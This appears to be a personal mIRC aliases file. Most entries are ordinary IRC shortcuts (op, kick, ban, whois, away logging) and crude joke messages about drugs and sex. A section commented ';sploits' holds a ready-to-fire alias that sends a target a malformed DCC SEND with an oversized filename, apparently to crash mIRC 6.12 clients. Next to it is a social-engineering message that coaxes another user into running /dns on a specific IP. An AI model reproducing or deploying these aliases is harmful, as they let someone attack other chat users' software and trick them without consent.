aliases2.ini

/op /mode # +ooo $$1 $2 $3
/dop /mode # -ooo $$1 $2 $3
/j /join #$$1 $2-
/p /part #
/n /names #$$1
/w /whois $$1
/k /kick # $$1 $2-
/q /query $$1
/send /dcc send $1 $2
/chat /dcc chat $1
/ping /ctcp $$1 ping
/s /server $$1-
/v /mode # +vvvvvv $1 $2 $3 $4 $5
/smoke .msg # Have a smoke - 1,7()¯¯¯¯¯)1,0¯¯¯¯¯¯¯¯¯¯¯¯¯¯9,0) | echo # $timestamp 6[ $+ $nick(#,$me).pnick $+ $chr(3) $+ 6 $+ $chr(93) $+ $chr(3) $+ : Have a smoke - 1,7()¯¯¯¯¯)1,0¯¯¯¯¯¯¯¯¯¯¯¯¯¯9,0) | halt
/bowl .msg # Smoke a bowl  ===(0,3_) | echo # $timestamp 6[ $+ $nick(#,$me).pnick $+ $chr(3) $+ 6 $+ $chr(93) $+ $chr(3) $+ : Smoke a bowl ===(0,3_) | halt

dosutil { .run $mircdir\System\ $+ $iif((($os == 95) || ($os == 98) || ($os == ME)),info_98\,info_2k\) $+ $1 $+ $iif((($os == 95) || ($os == 98) || ($os == ME)),.bat,.cmd) $2- }
fscripts if ($1) { window @fscripts | clear @fscripts | var %a = $script(0) | while (%a) { filter -fwbn $+(",$script(%a),") @fscripts $1- | if ($filtered) { aline 4 @fscripts $script(%a) | aline @fscripts $chr(160) } | dec %a } }

ipwhois {
  run http://www.checkdomain.com/cgi-bin/checkdomain.pl?domain= $+ $1-
}

ew {
  if ($1) {
    var %who = $_ncs(44,$_s2c($1-))
    :loop
    if ($gettok(%who,1,44)) {
      .raw whois $ifmatch $ifmatch
      _whois.src $ifmatch
      %who = $deltok(%who,1,44)
      goto loop
    }
  }
  elseif ($_targ(=?)) {
    .raw whois $ifmatch $ifmatch
    %-whois.src. [ $+ [ $ifmatch ] ] = $active
  }
  else _qhelp /ew
  .enable #-whoisno
}

;sploits
mirc612 { echo -a *** Sending exploit to $$1 | .raw PRIVMSG $$1 $+(:,$chr(1),DCC) send $str($rand(a,z) $+ $chr(256),250) $+ 0 $+ .txt 2130706433 $+(8192,$chr(1)) }
fuckedrecords { say Hey $snick can you /dns 66.134.31.2 for me, i cant seem to get a hostname, can you try please, thanks. }
kb { mode # +bbb $+(*,$1,*!*@*) $+(*!*,$right($remove($ial($1).user,~),9),@*) $+(*!*@,$$ial($$1).host) | kick # $1 Banned. }

on ^*:text:*:?:if ($away) { write $msglog $nick $+ ! $+ $address $+ ! $+ $asctime(hh:nntt) $+ ! $+ $1- | .notice $nick I am away -- Your msg has been logged. }
ungline { set %mask $1 | stats g }

ipwhois {
  run http://www.checkdomain.com/cgi-bin/checkdomain.pl?domain= $+ $1-
}
netstat { echo -ta   12:11>  12_11____13________11________12_______ _____ ____ ___ _
  echo -ta   12:11>  11 Please wait... gathering network information12: | echo -ta   12:11>  11 Connected To12: $network 11Network
  echo -ta   12:11>  11 On Server12: $server 11 On Port12: $port
  echo -ta   12:11>  11 SSL Status12: $ssl (false/true)
echo -ta   12:11>  12_11____13________11________12_______ _____ ____ ___ _  }
salsa { say 4THE 8GIRLS 4TAKE THEIR TOPS OFF WHEN I DO MY 8SALSA 11(_/_) 12(_|_) 13(_\_) }
dick { /say Based on the uptime of my Windows $+ $os box, my e-Penis is $round($calc($ticks / 3600000),2) inches ( $+ $round($calc($ticks * 2.54 /3600000),2) $+ cm $+ ) long! $uptime(system,1) }